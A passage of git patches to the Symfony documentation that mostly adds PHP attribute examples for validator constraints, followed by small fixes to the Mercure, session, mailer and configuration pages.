+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnderGroundGarage
+        {
+            #[Assert\NegativeOrZero]
+            protected $level;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index f5711e001c3..2d302f5fc20 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -40,6 +40,19 @@ class were not blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index bcd1c61b560..236dfbf5d9b 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -38,6 +38,19 @@ The following constraint ensures that the ``rawPassword`` property of the
             protected $rawPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotCompromisedPassword]
+            protected $rawPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..ec5fa5000b5 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -53,6 +53,24 @@ the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotEqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotEqualTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..ab96bde3806 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -54,6 +54,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotIdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotIdenticalTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 56d088c4cba..ccf8839434d 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -37,6 +37,19 @@ class were not strictly equal to ``null``, you would:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index af76f205e53..6e5d80c9250 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -37,6 +37,19 @@ positive number (greater than zero):
             protected $income;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Employee.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Employee
+        {
+            #[Assert\Positive]
+            protected $income;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index ea762e78f90..08435c2054f 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -36,6 +36,19 @@ is positive or zero:
             protected $siblings;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\PositiveOrZero]
+            protected $siblings;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d5b473362dd..c499187ee66 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -47,6 +47,23 @@ you might add the following:
             protected $height;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Range(
+                min: 120,
+                max: 180,
+                notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+            )]
+            protected $height;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +142,22 @@ date must lie within the current year like this:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January',
+                max: 'first day of January next year',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -195,6 +228,22 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January UTC',
+                max: 'first day of January next year UTC',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -265,6 +314,22 @@ can check that a delivery date starts within the next five hours like this:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Range(
+                min: 'now',
+                max: '+5 hours',
+            )]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 642a1fc180d..a6217c892f7 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -41,6 +41,19 @@ more word characters at the beginning of your string:
             protected $description;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex('/^\w+/')]
+            protected $description;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +123,23 @@ it a custom message:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/\d/',
+                match: false,
+                message: 'Your name cannot contain a number',
+            )]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -203,6 +233,22 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/^[a-z]+$/i',
+                match: '^[a-zA-Z]+$'
+            )]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e94613e1f6f..fb8a9b337fb 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -37,6 +37,22 @@ of the day when the event starts:
             protected $startsAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            /**
+             * @var string A "H:i:s" formatted value
+             */
+            #[Assert\Time]
+            protected $startsAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 98ca73c156a..36ebdd0b86b 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -38,6 +38,19 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
             protected $timezone;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UserSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UserSettings
+        {
+            #[Assert\Timezone]
+            protected $timezone;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index fd329bd38a3..9301afc445a 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -89,6 +89,73 @@ that all have constraints on their properties.
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @ORM\Entity
+         */
+        #[Assert\Traverse]
+        class BookCollection implements \IteratorAggregate
+        {
+            /**
+             * @var string
+             *
+             * @ORM\Column
+             */
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            /**
+             * @var Collection|Book[]
+             *
+             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
+             */
+            protected $books;
+
+            // some other properties
+
+            public function __construct()
+            {
+                $this->books = new ArrayCollection();
+            }
+
+            // ... setter for name, adder and remover for books
+
+            // the name can be validated by calling the getter
+            public function getName(): string
+            {
+                return $this->name;
+            }
+
+            /**
+             * @return \Generator|Book[] The books for a given author
+             */
+            public function getBooksForAuthor(Author $author): iterable
+            {
+                foreach ($this->books as $book) {
+                    if ($book->isAuthoredBy($author)) {
+                        yield $book;
+                    }
+                }
+            }
+
+            // neither the method above nor any other specific getter
+            // could be used to validated all nested books;
+            // this object needs to be traversed to call the iterator
+            public function getIterator()
+            {
+                return $this->books->getIterator();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -168,6 +235,21 @@ disable validating:
              // ...
          }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+
+        // ... same as above
+
+        /**
+         * ...
+         */
+         #[Assert\Traverse(false)]
+         class BookCollection implements \IteratorAggregate
+         {
+             // ...
+         }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1962dffa284..61189e7f989 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -59,6 +59,31 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             protected $accessCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Type('Ramsey\Uuid\UuidInterface')]
+            protected $id;
+
+            #[Assert\Type('string')]
+            protected $firstName;
+
+            #[Assert\Type(
+                type: 'integer',
+                message: 'The value {{ value }} is not a valid {{ type }}.',
+            )]
+            protected $age;
+
+            #[Assert\Type(type: ['alpha', 'digit'])]
+            protected $accessCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 7bcae08e961..92315089350 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -37,6 +37,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Ulid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..497156ed9b4 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -50,6 +50,19 @@ strings:
             protected $contactEmails;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\Unique]
+            protected $contactEmails;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2bf2533f57e..c76a31e6a4c 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -59,6 +59,31 @@ between all of the rows in your user table:
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @ORM\Entity
+         */
+        #[UniqueEntity('email')]
+        class User
+        {
+            /**
+             * @ORM\Column(name="email", type="string", length=255, unique=true)
+             */
+            #[Assert\Email]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -188,6 +213,35 @@ Consider this example:
             public $port;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Service.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        /**
+         * @ORM\Entity
+         */
+        #[UniqueEntity(
+            fields: ['host', 'port'],
+            errorPath: 'port',
+            message: 'This port is already in use on that host.',
+        )]
+        class Service
+        {
+            /**
+             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
+             */
+            public $host;
+
+            /**
+             * @ORM\Column(type="integer")
+             */
+            public $port;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 5f4ac23245f..91714131294 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -35,6 +35,19 @@ Basic Usage
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -124,6 +137,21 @@ Parameter        Description
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                message: 'The url {{ value }} is not a valid url',
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -200,6 +228,21 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                protocols: ['http', 'https', 'ftp'],
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -275,6 +318,21 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                relativeProtocol: true,
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..03c992e66e6 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -51,6 +51,21 @@ the user's current password:
             protected $oldPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Form/Model/ChangePassword.php
+        namespace App\Form\Model;
+
+        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
+
+        class ChangePassword
+        {
+            #[SecurityAssert\UserPassword(
+                message: 'Wrong value for your current password',
+            )]
+            protected $oldPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 427a373f788..c7b2d94900b 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -38,6 +38,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Uuid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..8378f34cbec 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -87,6 +87,40 @@ stores an ``Address`` instance in the ``$address`` property::
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Address.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Address
+        {
+            #[Assert\NotBlank]
+            protected $street;
+
+            #[Assert\NotBlank]
+            #[Assert\Length(max: 5)]
+            protected $zipCode;
+        }
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 4)]
+            protected $firstName;
+
+            #[Assert\NotBlank]
+            protected $lastName;
+
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -196,6 +230,19 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Valid]
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 8379ea8be9f200ac4415fd6a678bfc1462066d9f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 21 Jan 2021 21:19:23 +0100
Subject: [PATCH 1755/7107] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2999db21334..2947f18cb68 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -214,7 +214,7 @@ you can configure them to be sent to a transport:
 
                 routing:
                     # async is whatever name you gave your transport above
-                    'App\Message\SmsNotification':  async
+                    'App\Message\SmsNotification': async
 
     .. code-block:: xml
 

From 465da94d215a21cdfb362c592730c89704557ea4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Tue, 22 Dec 2020 20:04:03 +0100
Subject: [PATCH 1756/7107] [Mercure] Update docs for v0.11

---
 mercure.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e4bc11d911f..527833e2f7e 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -68,11 +68,20 @@ clients.
 An official and open source (AGPL) implementation of a Hub can be downloaded
 as a static binary from `Mercure.rocks`_.
 
-Run the following command to start it:
+If you use `Symfony Docker`_,
+a Mercure Hub is already included and you can skip straight to the next section.
 
-.. code-block:: terminal
+On Linux and Mac, run the following command to start it:
+
+.. rst-class:: command-linux
+
+    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY="!ChangeMe!" MERCURE_SUBSCRIBER_JWT_KEY="!ChangeMe!" ./mercure run -config Caddyfile.dev
+
+On Windows run:
+
+.. rst-class: command-windows
 
-    $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
+    > $env:SERVER_NAME=':3000'; $env:MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!'; $env:MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!'; .\mercure.exe run -config Caddyfile.dev
 
 .. note::
 
@@ -175,8 +184,8 @@ the **topic** being updated. This topic should be an `IRI`_
 of the resource being dispatched.
 
 Usually, this parameter contains the original URL of the resource
-transmitted to the client, but it can be any valid `IRI`_, it doesn't
-have to be a URL that exists (similarly to XML namespaces).
+transmitted to the client, but it can be any string or `IRI`_,
+and it doesn't have to be a URL that exists (similarly to XML namespaces).
 
 The second parameter of the constructor is the content of the update.
 It can be anything, stored in any format.
@@ -630,6 +639,7 @@ Enable the panel in your configuration, as follows:
 .. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome
 .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI
 .. _`Mercure.rocks`: https://mercure.rocks
+.. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY

From 0f95e076b5529d5507444f55a130946865647d1a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Marcin=20Brzuchalski?=
 <michal.brzuchalski@gmail.com>
Date: Tue, 19 Jan 2021 17:54:47 +0100
Subject: [PATCH 1757/7107] Require preprocessor env name fix used in PHP
 snippet

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 710ce3da6b6..7b134067bef 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -394,7 +394,7 @@ Symfony provides the following env var processors:
             // config/packages/framework.php
             $container->setParameter('env(PHP_FILE)', '../config/.runtime-evaluated.php');
             $container->loadFromExtension('app', [
-                'auth' => '%env(require:AUTH_FILE)%',
+                'auth' => '%env(require:PHP_FILE)%',
             ]);
 
     .. versionadded:: 4.3

From 3d560c3059e18ad7eecb4e45eeda1887cbee3e2c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 20 Jan 2021 16:23:39 +0100
Subject: [PATCH 1758/7107] Listing possible values of storage_id

---
 reference/configuration/framework.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83b1cd90abb..4515077d1d7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1249,9 +1249,14 @@ storage_id
 
 **type**: ``string`` **default**: ``'session.storage.native'``
 
-The service id used for session storage. The ``session.storage`` service
-alias will be set to this service id. This class has to implement
+The service ID used for storing the session. The ``session.storage`` service
+alias will be set to this service. The class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+To see a list of all available storages, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container session.storage.
 
 .. _config-framework-session-handler-id:
 

From 706222e14f34905949e077001cfd25be8dc74488 Mon Sep 17 00:00:00 2001
From: Ian Gilfillan <github@greenman.co.za>
Date: Tue, 12 Jan 2021 22:47:34 +0200
Subject: [PATCH 1759/7107] Mention MariaDB as well

---
 session/database.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index badd1412145..6430517c647 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -166,11 +166,11 @@ parallel and only the first one stored the CSRF token in the session.
     If you use Memcached instead of Redis, follow a similar approach but replace
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-Store Sessions in a Relational Database (MySQL, PostgreSQL)
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
 -----------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MySQL and PostgreSQL. To use it,
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
 first register a new handler service with your database credentials:
 
 .. configuration-block::
@@ -379,8 +379,8 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
-MySQL
-.....
+MariaDB/MySQL
+.............
 
 .. code-block:: sql
 

From 794de34c0063736b057c6d666569d350618f3522 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:12:02 +0100
Subject: [PATCH 1760/7107] Tweaks

---
 session/database.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 6430517c647..a0fb1b3d4a6 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -167,7 +167,7 @@ parallel and only the first one stored the CSRF token in the session.
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
------------------------------------------------------------
+--------------------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
 to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
@@ -379,6 +379,8 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
+.. _mysql:
+
 MariaDB/MySQL
 .............
 

From 5d8a9e25130e6d46da32084b2aa5ce64bba8cc63 Mon Sep 17 00:00:00 2001
From: CaDJoU <46056722+cadjou@users.noreply.github.com>
Date: Tue, 19 Jan 2021 23:40:48 +0100
Subject: [PATCH 1761/7107] [Mailer] Update mailer.rst

---
 mailer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 90472439eb5..bef7cef866e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -65,6 +65,13 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             ]);
         };
 
+.. caution::
+
+    If the username, password or host contain any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be

From 58ddc5fd32a66765980d686b00ab1b6fdd2d7105 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:17:24 +0100
Subject: [PATCH 1762/7107] Added missing reference link

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index bef7cef866e..58531bf85f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1120,3 +1120,4 @@ a specific address, instead of the *real* address:
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From 6987db2dd8e984775d26058f611a321ab28693fd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vincent=20Brout=C3=A9?= <neveldo@gmail.com>
Date: Fri, 8 Jan 2021 18:08:31 +0100
Subject: [PATCH 1763/7107] Update configuration.rst

Fix PHP configuration sample for setting default parameter bindings.
---
 configuration.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e25e18efd5b..1b5c2eef31f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -881,18 +881,15 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Controller\LuckyController;
-        use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return static function (ContainerConfigurator $container) {
-            $container->services()
-                ->set(LuckyController::class)
-                    ->public()
-                    ->args([
-                        // pass this value to any $projectDir argument for any service
-                        // that's created in this file (including controller arguments)
-                        '$projectDir' => '%kernel.project_dir%',
-                    ]);
+            $services = $container->services()
+                ->defaults()
+                    // pass this value to any $projectDir argument for any service
+                    // that's created in this file (including controller arguments)
+                    ->bind('$projectDir', '%kernel.project_dir%');
+            
+            // ...
         };
 
 .. seealso::

From b72cfde11a1a6b53860b4c42e65573ac0db97d91 Mon Sep 17 00:00:00 2001
